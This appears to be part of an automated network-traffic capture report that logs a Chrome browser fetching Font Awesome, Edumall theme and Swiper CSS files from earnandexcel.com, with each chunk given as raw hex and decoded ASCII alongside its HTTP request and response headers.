2024-04-11 21:26:36 UTC	1369	IN	Data Raw: 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 39 30 64 65 67 29 7d 2e 66 61 2d 72 6f 74 61 74 65 2d 31 38 30 7b 2d 6d 73 2d 66 69 6c 74 65 72 3a 22 70 72 6f 67 69 64 3a 44 58 49 6d 61 67 65 54 72 61 6e 73 66 6f 72 6d 2e 4d 69 63 72 6f 73 6f 66 74 2e 42 61 73 69 63 49 6d 61 67 65 28 72 6f 74 61 74 69 6f 6e 3d 32 29 22 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 31 38 30 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 31 38 30 64 65 67 29 7d 2e 66 61 2d 72 6f 74 61 74 65 2d 32 37 30 7b 2d 6d 73 2d 66 69 6c 74 65 72 3a 22 70 72 6f 67 69 64 3a 44 58 49 6d 61 67 65 54 72 61 6e 73 66 6f 72 6d 2e 4d 69 63 72 6f 73 6f 66 74 2e 42 61 73 69 63 49 6d 61 67 65 28 72 6f 74 61 74 69 6f 6e 3d 33 29 22 3b 2d 77 65 62 Data Ascii: ransform:rotate(90deg)}.fa-rotate-180{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=2)";-webkit-transform:rotate(180deg);transform:rotate(180deg)}.fa-rotate-270{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=3)";-web
2024-04-11 21:26:36 UTC	1369	IN	Data Raw: 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 36 61 65 22 7d 2e 66 61 2d 61 63 71 75 69 73 69 74 69 6f 6e 73 2d 69 6e 63 6f 72 70 6f 72 61 74 65 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 36 61 66 22 7d 2e 66 61 2d 61 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 36 34 31 22 7d 2e 66 61 2d 61 64 64 72 65 73 73 2d 62 6f 6f 6b 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 62 39 22 7d 2e 66 61 2d 61 64 64 72 65 73 73 2d 63 61 72 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 62 62 22 7d 2e 66 61 2d 61 64 6a 75 73 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 34 32 22 7d 2e 66 61 2d 61 64 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 37 30 22 7d 2e 66 61 2d 61 Data Ascii: efore{content:"\f6ae"}.fa-acquisitions-incorporated:before{content:"\f6af"}.fa-ad:before{content:"\f641"}.fa-address-book:before{content:"\f2b9"}.fa-address-card:before{content:"\f2bb"}.fa-adjust:before{content:"\f042"}.fa-adn:before{content:"\f170"}.fa-a
2024-04-11 21:26:36 UTC	1369	IN	Data Raw: 38 61 31 22 7d 2e 66 61 2d 61 6e 61 6c 79 74 69 63 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 36 34 33 22 7d 2e 66 61 2d 61 6e 63 68 6f 72 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 33 64 22 7d 2e 66 61 2d 61 6e 64 72 6f 69 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 37 62 22 7d 2e 66 61 2d 61 6e 67 65 6c 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 37 37 39 22 7d 2e 66 61 2d 61 6e 67 65 6c 6c 69 73 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 30 39 22 7d 2e 66 61 2d 61 6e 67 6c 65 2d 64 6f 75 62 6c 65 2d 64 6f 77 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 30 33 22 7d 2e 66 61 2d 61 6e 67 6c 65 2d 64 6f 75 62 6c 65 2d 6c 65 66 74 3a 62 65 66 6f 72 65 7b Data Ascii: 8a1"}.fa-analytics:before{content:"\f643"}.fa-anchor:before{content:"\f13d"}.fa-android:before{content:"\f17b"}.fa-angel:before{content:"\f779"}.fa-angellist:before{content:"\f209"}.fa-angle-double-down:before{content:"\f103"}.fa-angle-double-left:before{
2024-04-11 21:26:36 UTC	1369	IN	Data Raw: 2d 61 6c 74 2d 66 72 6f 6d 2d 74 6f 70 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 33 34 39 22 7d 2e 66 61 2d 61 72 72 6f 77 2d 61 6c 74 2d 6c 65 66 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 33 35 35 22 7d 2e 66 61 2d 61 72 72 6f 77 2d 61 6c 74 2d 72 69 67 68 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 33 35 36 22 7d 2e 66 61 2d 61 72 72 6f 77 2d 61 6c 74 2d 73 71 75 61 72 65 2d 64 6f 77 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 33 35 30 22 7d 2e 66 61 2d 61 72 72 6f 77 2d 61 6c 74 2d 73 71 75 61 72 65 2d 6c 65 66 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 33 35 31 22 7d 2e 66 61 2d 61 72 72 6f 77 2d 61 6c 74 2d 73 71 75 61 72 65 2d 72 69 67 68 74 3a 62 65 66 6f 72 65 7b 63 Data Ascii: -alt-from-top:before{content:"\f349"}.fa-arrow-alt-left:before{content:"\f355"}.fa-arrow-alt-right:before{content:"\f356"}.fa-arrow-alt-square-down:before{content:"\f350"}.fa-arrow-alt-square-left:before{content:"\f351"}.fa-arrow-alt-square-right:before{c
2024-04-11 21:26:36 UTC	1369	IN	Data Raw: 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 36 32 22 7d 2e 66 61 2d 61 72 72 6f 77 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 34 37 22 7d 2e 66 61 2d 61 72 72 6f 77 73 2d 61 6c 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 62 32 22 7d 2e 66 61 2d 61 72 72 6f 77 73 2d 61 6c 74 2d 68 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 33 33 37 22 7d 2e 66 61 2d 61 72 72 6f 77 73 2d 61 6c 74 2d 76 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 33 33 38 22 7d 2e 66 61 2d 61 72 72 6f 77 73 2d 68 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 37 65 22 7d 2e 66 61 2d 61 72 72 6f 77 73 2d 76 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 37 64 22 7d 2e 66 61 2d 61 72 74 73 74 61 74 69 Data Ascii: re{content:"\f062"}.fa-arrows:before{content:"\f047"}.fa-arrows-alt:before{content:"\f0b2"}.fa-arrows-alt-h:before{content:"\f337"}.fa-arrows-alt-v:before{content:"\f338"}.fa-arrows-h:before{content:"\f07e"}.fa-arrows-v:before{content:"\f07d"}.fa-artstati
2024-04-11 21:26:36 UTC	1369	IN	Data Raw: 74 65 6e 74 3a 22 5c 66 38 61 32 22 7d 2e 66 61 2d 62 61 64 67 65 72 2d 68 6f 6e 65 79 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 36 62 34 22 7d 2e 66 61 2d 62 61 67 73 2d 73 68 6f 70 70 69 6e 67 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 38 34 37 22 7d 2e 66 61 2d 62 61 68 61 69 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 36 36 36 22 7d 2e 66 61 2d 62 61 6c 61 6e 63 65 2d 73 63 61 6c 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 34 65 22 7d 2e 66 61 2d 62 61 6c 61 6e 63 65 2d 73 63 61 6c 65 2d 6c 65 66 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 35 31 35 22 7d 2e 66 61 2d 62 61 6c 61 6e 63 65 2d 73 63 61 6c 65 2d 72 69 67 68 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c Data Ascii: tent:"\f8a2"}.fa-badger-honey:before{content:"\f6b4"}.fa-bags-shopping:before{content:"\f847"}.fa-bahai:before{content:"\f666"}.fa-balance-scale:before{content:"\f24e"}.fa-balance-scale-left:before{content:"\f515"}.fa-balance-scale-right:before{content:"\
2024-04-11 21:26:36 UTC	1369	IN	Data Raw: 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 38 66 39 22 7d 2e 66 61 2d 62 65 65 72 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 66 63 22 7d 2e 66 61 2d 62 65 68 61 6e 63 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 62 34 22 7d 2e 66 61 2d 62 65 68 61 6e 63 65 2d 73 71 75 61 72 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 62 35 22 7d 2e 66 61 2d 62 65 6c 6c 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 66 33 22 7d 2e 66 61 2d 62 65 6c 6c 2d 65 78 63 6c 61 6d 61 74 69 6f 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 38 34 38 22 7d 2e 66 61 2d 62 65 6c 6c 2d 6f 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 38 66 61 22 7d 2e 66 61 2d 62 65 6c 6c 2d 70 6c 75 Data Ascii: before{content:"\f8f9"}.fa-beer:before{content:"\f0fc"}.fa-behance:before{content:"\f1b4"}.fa-behance-square:before{content:"\f1b5"}.fa-bell:before{content:"\f0f3"}.fa-bell-exclamation:before{content:"\f848"}.fa-bell-on:before{content:"\f8fa"}.fa-bell-plu
2024-04-11 21:26:36 UTC	1369	IN	Data Raw: 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 39 33 22 7d 2e 66 61 2d 62 6c 75 65 74 6f 6f 74 68 2d 62 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 39 34 22 7d 2e 66 61 2d 62 6f 6c 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 33 32 22 7d 2e 66 61 2d 62 6f 6c 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 65 37 22 7d 2e 66 61 2d 62 6f 6d 62 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 65 32 22 7d 2e 66 61 2d 62 6f 6e 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 35 64 37 22 7d 2e 66 61 2d 62 6f 6e 65 2d 62 72 65 61 6b 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 35 64 38 22 7d 2e 66 61 2d 62 6f 6e 67 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 35 35 63 22 7d 2e Data Ascii: {content:"\f293"}.fa-bluetooth-b:before{content:"\f294"}.fa-bold:before{content:"\f032"}.fa-bolt:before{content:"\f0e7"}.fa-bomb:before{content:"\f1e2"}.fa-bone:before{content:"\f5d7"}.fa-bone-break:before{content:"\f5d8"}.fa-bong:before{content:"\f55c"}.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.17	49717	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:36 UTC	594	OUT	GET /wp-content/themes/edumall/assets/fonts/edumi/font-edumi.min.css HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:36 UTC	923	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:36 GMT Content-Type: text/css; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e4c98b219ae-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"60df32df-632" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:07 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0G1uERdnmhJIVTWG0er3PU4sipL3fUCpUq%2BvC61GT9FpE1ZZhGzCzcCAVnZ6Zhh1Q8BaLbYKF1svk5xavdcY%2FbYksFamfSXscsVLJShrvBhkBkffAE4UtR1LA7wRbnm0OSc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:36 UTC	446	IN	Data Raw: 36 33 32 0d 0a 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 45 64 75 6d 61 6c 6c 69 63 6f 6e 3b 73 72 63 3a 75 72 6c 28 45 64 75 6d 61 6c 6c 69 63 6f 6e 2e 65 6f 74 29 3b 73 72 63 3a 75 72 6c 28 45 64 75 6d 61 6c 6c 69 63 6f 6e 2e 65 6f 74 3f 23 69 65 66 69 78 29 20 66 6f 72 6d 61 74 28 22 65 6d 62 65 64 64 65 64 2d 6f 70 65 6e 74 79 70 65 22 29 2c 75 72 6c 28 45 64 75 6d 61 6c 6c 69 63 6f 6e 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 22 77 6f 66 66 32 22 29 2c 75 72 6c 28 45 64 75 6d 61 6c 6c 69 63 6f 6e 2e 77 6f 66 66 29 20 66 6f 72 6d 61 74 28 22 77 6f 66 66 22 29 2c 75 72 6c 28 45 64 75 6d 61 6c 6c 69 63 6f 6e 2e 74 74 66 29 20 66 6f 72 6d 61 74 28 22 74 72 75 65 74 79 70 65 Data Ascii: 632@charset "UTF-8";@font-face{font-family:Edumallicon;src:url(Edumallicon.eot);src:url(Edumallicon.eot?#iefix) format("embedded-opentype"),url(Edumallicon.woff2) format("woff2"),url(Edumallicon.woff) format("woff"),url(Edumallicon.ttf) format("truetype
2024-04-11 21:26:36 UTC	1147	IN	Data Raw: 2e 73 76 67 23 45 64 75 6d 61 6c 6c 69 63 6f 6e 29 20 66 6f 72 6d 61 74 28 22 73 76 67 22 29 7d 7d 2e 65 64 75 6d 69 3a 62 65 66 6f 72 65 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 45 64 75 6d 61 6c 6c 69 63 6f 6e 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 66 6f 6e 74 2d 76 61 72 69 61 6e 74 3a 6e 6f 72 6d 61 6c 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 69 6e 68 65 72 69 74 3b 74 65 78 74 2d 72 65 6e 64 65 72 69 6e 67 3a 6f 70 74 69 6d 69 7a 65 4c 65 67 69 62 69 6c 69 74 79 3b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 6e 6f 6e 65 3b 2d 6d 6f 7a 2d 6f 73 78 2d 66 6f 6e 74 2d 73 6d 6f Data Ascii: .svg#Edumallicon) format("svg")}}.edumi:before{display:inline-block;font-family:Edumallicon;font-style:normal;font-weight:400;font-variant:normal;line-height:1;text-decoration:inherit;text-rendering:optimizeLegibility;text-transform:none;-moz-osx-font-smo
2024-04-11 21:26:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.17	49718	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:36 UTC	594	OUT	GET /wp-content/themes/edumall/assets/libs/swiper/css/swiper.min.css HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:36 UTC	924	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:36 GMT Content-Type: text/css; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e4dffbd4364-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"60df32df-356c" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:07 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=69PIgeWJ%2Fa0uHGrv4hyX7gIhH3liHQvjqYQVcrjcZFStNHcMX4zIBihbIBqCb1vwVsYoGfzY5ovdsl2d8K2vvwa0dYvs3tRPblxVQ4ODLEOem2Lkv%2BAHoCUdnRIVH52NWkU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:36 UTC	445	IN	Data Raw: 33 35 36 63 0d 0a 2f 2a 2a 0a 20 2a 20 53 77 69 70 65 72 20 35 2e 34 2e 31 0a 20 2a 20 4d 6f 73 74 20 6d 6f 64 65 72 6e 20 6d 6f 62 69 6c 65 20 74 6f 75 63 68 20 73 6c 69 64 65 72 20 61 6e 64 20 66 72 61 6d 65 77 6f 72 6b 20 77 69 74 68 20 68 61 72 64 77 61 72 65 20 61 63 63 65 6c 65 72 61 74 65 64 20 74 72 61 6e 73 69 74 69 6f 6e 73 0a 20 2a 20 68 74 74 70 3a 2f 2f 73 77 69 70 65 72 6a 73 2e 63 6f 6d 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 34 2d 32 30 32 30 20 56 6c 61 64 69 6d 69 72 20 4b 68 61 72 6c 61 6d 70 69 64 69 0a 20 2a 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 0a 20 2a 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 6f 6e 3a 20 4d 61 79 20 32 30 2c 20 32 30 32 30 0a 20 2a 2f Data Ascii: 356c/** * Swiper 5.4.1 * Most modern mobile touch slider and framework with hardware accelerated transitions * http://swiperjs.com * * Copyright 2014-2020 Vladimir Kharlampidi * * Released under the MIT License * * Released on: May 20, 2020 */
2024-04-11 21:26:36 UTC	1369	IN	Data Raw: 57 67 41 41 41 41 49 77 41 41 41 43 51 41 59 41 42 58 52 31 42 50 55 77 41 41 42 68 51 41 41 41 41 75 41 41 41 41 4e 75 41 59 37 2b 78 48 55 31 56 43 41 41 41 46 78 41 41 41 41 46 41 41 41 41 42 6d 32 66 50 63 7a 55 39 54 4c 7a 49 41 41 41 48 63 41 41 41 41 53 67 41 41 41 47 42 50 39 56 35 52 59 32 31 68 63 41 41 41 41 6b 51 41 41 41 43 49 41 41 41 42 59 74 36 46 30 63 42 6a 64 6e 51 67 41 41 41 43 7a 41 41 41 41 41 51 41 41 41 41 45 41 42 45 42 52 47 64 68 63 33 41 41 41 41 57 59 41 41 41 41 43 41 41 41 41 41 6a 2f 2f 77 41 44 5a 32 78 35 5a 67 41 41 41 79 77 41 41 41 44 4d 41 41 41 44 32 4d 48 74 72 79 56 6f 5a 57 46 6b 41 41 41 42 62 41 41 41 41 44 41 41 41 41 41 32 45 32 2b 65 6f 57 68 6f 5a 57 45 41 41 41 47 63 41 41 41 41 48 77 41 41 41 43 51 43 39 Data Ascii: WgAAAAIwAAACQAYABXR1BPUwAABhQAAAAuAAAANuAY7+xHU1VCAAAFxAAAAFAAAABm2fPczU9TLzIAAAHcAAAASgAAAGBP9V5RY21hcAAAAkQAAACIAAABYt6F0cBjdnQgAAACzAAAAAQAAAAEABEBRGdhc3AAAAWYAAAACAAAAAj//wADZ2x5ZgAAAywAAADMAAAD2MHtryVoZWFkAAABbAAAADAAAAA2E2+eoWhoZWEAAAGcAAAAHwAAACQC9
2024-04-11 21:26:36 UTC	1369	IN	Data Raw: 50 45 4a 36 59 4f 42 35 68 4b 68 34 64 6a 33 45 76 58 68 78 50 71 48 2f 53 4b 55 59 33 72 4a 37 73 72 5a 34 46 5a 6e 68 31 50 4d 41 74 50 68 77 50 36 66 6c 32 50 4d 4a 4d 50 44 67 65 51 34 72 59 38 59 54 36 47 7a 61 6f 30 65 41 45 41 34 30 39 44 75 67 67 6d 54 6e 46 6e 4f 63 53 43 69 45 69 4c 4d 67 78 43 69 54 49 36 43 71 35 44 5a 55 64 33 51 6d 70 31 30 76 4f 30 4c 61 4c 54 64 32 63 6a 4e 34 66 4f 75 6d 6c 63 37 6c 55 59 62 53 51 63 5a 46 6b 75 74 52 47 37 67 36 4a 4b 5a 4b 79 30 52 6d 64 4c 59 36 38 30 43 44 6e 45 4a 2b 55 4d 6b 70 46 46 65 31 52 4e 37 6e 78 64 56 70 58 72 43 34 61 54 74 6e 61 75 72 4f 6e 59 65 72 63 5a 67 32 59 56 6d 4c 4e 2f 64 2f 67 63 7a 66 45 69 6d 72 45 2f 66 73 2f 62 4f 75 71 32 39 5a 6d 6e 38 74 6c 6f 4f 52 61 58 67 5a 67 47 61 Data Ascii: PEJ6YOB5hKh4dj3EvXhxPqH/SKUY3rJ7srZ4FZnh1PMAtPhwP6fl2PMJMPDgeQ4rY8YT6Gzao0eAEA409DuggmTnFnOcSCiEiLMgxCiTI6Cq5DZUd3Qmp10vO0LaLTd2cjN4fOumlc7lUYbSQcZFkutRG7g6JKZKy0RmdLY680CDnEJ+UMkpFFe1RN7nxdVpXrC4aTtnaurOnYercZg2YVmLN/d/gczfEimrE/fs/bOuq29Zmn8tloORaXgZgGa
2024-04-11 21:26:36 UTC	1369	IN	Data Raw: 72 2d 66 72 65 65 2d 6d 6f 64 65 3e 2e 73 77 69 70 65 72 2d 77 72 61 70 70 65 72 7b 74 72 61 6e 73 69 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 65 61 73 65 2d 6f 75 74 3b 6d 61 72 67 69 6e 3a 30 20 61 75 74 6f 7d 2e 73 77 69 70 65 72 2d 73 6c 69 64 65 7b 66 6c 65 78 2d 73 68 72 69 6e 6b 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 74 72 61 6e 73 69 74 69 6f 6e 2d 70 72 6f 70 65 72 74 79 3a 74 72 61 6e 73 66 6f 72 6d 7d 2e 73 77 69 70 65 72 2d 73 6c 69 64 65 2d 69 6e 76 69 73 69 62 6c 65 2d 62 6c 61 6e 6b 7b 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 7d 2e 73 77 69 70 65 72 2d 63 6f 6e 74 61 69 6e 65 72 2d 61 75 74 6f 68 65 69 67 68 74 2c 2e Data Ascii: r-free-mode>.swiper-wrapper{transition-timing-function:ease-out;margin:0 auto}.swiper-slide{flex-shrink:0;width:100%;height:100%;position:relative;transition-property:transform}.swiper-slide-invisible-blank{visibility:hidden}.swiper-container-autoheight,.
2024-04-11 21:26:36 UTC	1369	IN	Data Raw: 72 61 64 69 65 6e 74 28 74 6f 20 74 6f 70 2c 72 67 62 61 28 30 2c 30 2c 30 2c 2e 35 29 2c 72 67 62 61 28 30 2c 30 2c 30 2c 30 29 29 7d 2e 73 77 69 70 65 72 2d 63 6f 6e 74 61 69 6e 65 72 2d 33 64 20 2e 73 77 69 70 65 72 2d 73 6c 69 64 65 2d 73 68 61 64 6f 77 2d 62 6f 74 74 6f 6d 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 74 6f 20 62 6f 74 74 6f 6d 2c 72 67 62 61 28 30 2c 30 2c 30 2c 2e 35 29 2c 72 67 62 61 28 30 2c 30 2c 30 2c 30 29 29 7d 2e 73 77 69 70 65 72 2d 63 6f 6e 74 61 69 6e 65 72 2d 63 73 73 2d 6d 6f 64 65 3e 2e 73 77 69 70 65 72 2d 77 72 61 70 70 65 72 7b 6f 76 65 72 66 6c 6f 77 3a 61 75 74 6f 3b 73 63 72 6f 6c 6c 62 61 72 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 2d 6d 73 2d 6f 76 65 72 66 6c Data Ascii: radient(to top,rgba(0,0,0,.5),rgba(0,0,0,0))}.swiper-container-3d .swiper-slide-shadow-bottom{background-image:linear-gradient(to bottom,rgba(0,0,0,.5),rgba(0,0,0,0))}.swiper-container-css-mode>.swiper-wrapper{overflow:auto;scrollbar-width:none;-ms-overfl
2024-04-11 21:26:36 UTC	1369	IN	Data Raw: 77 69 70 65 72 2d 62 75 74 74 6f 6e 2d 70 72 65 76 2c 2e 73 77 69 70 65 72 2d 63 6f 6e 74 61 69 6e 65 72 2d 72 74 6c 20 2e 73 77 69 70 65 72 2d 62 75 74 74 6f 6e 2d 6e 65 78 74 7b 6c 65 66 74 3a 31 30 70 78 3b 72 69 67 68 74 3a 61 75 74 6f 7d 2e 73 77 69 70 65 72 2d 62 75 74 74 6f 6e 2d 70 72 65 76 3a 61 66 74 65 72 2c 2e 73 77 69 70 65 72 2d 63 6f 6e 74 61 69 6e 65 72 2d 72 74 6c 20 2e 73 77 69 70 65 72 2d 62 75 74 74 6f 6e 2d 6e 65 78 74 3a 61 66 74 65 72 7b 63 6f 6e 74 65 6e 74 3a 27 70 72 65 76 27 7d 2e 73 77 69 70 65 72 2d 62 75 74 74 6f 6e 2d 6e 65 78 74 2c 2e 73 77 69 70 65 72 2d 63 6f 6e 74 61 69 6e 65 72 2d 72 74 6c 20 2e 73 77 69 70 65 72 2d 62 75 74 74 6f 6e 2d 70 72 65 76 7b 72 69 67 68 74 3a 31 30 70 78 3b 6c 65 66 74 3a 61 75 74 6f 7d 2e 73 Data Ascii: wiper-button-prev,.swiper-container-rtl .swiper-button-next{left:10px;right:auto}.swiper-button-prev:after,.swiper-container-rtl .swiper-button-next:after{content:'prev'}.swiper-button-next,.swiper-container-rtl .swiper-button-prev{right:10px;left:auto}.s
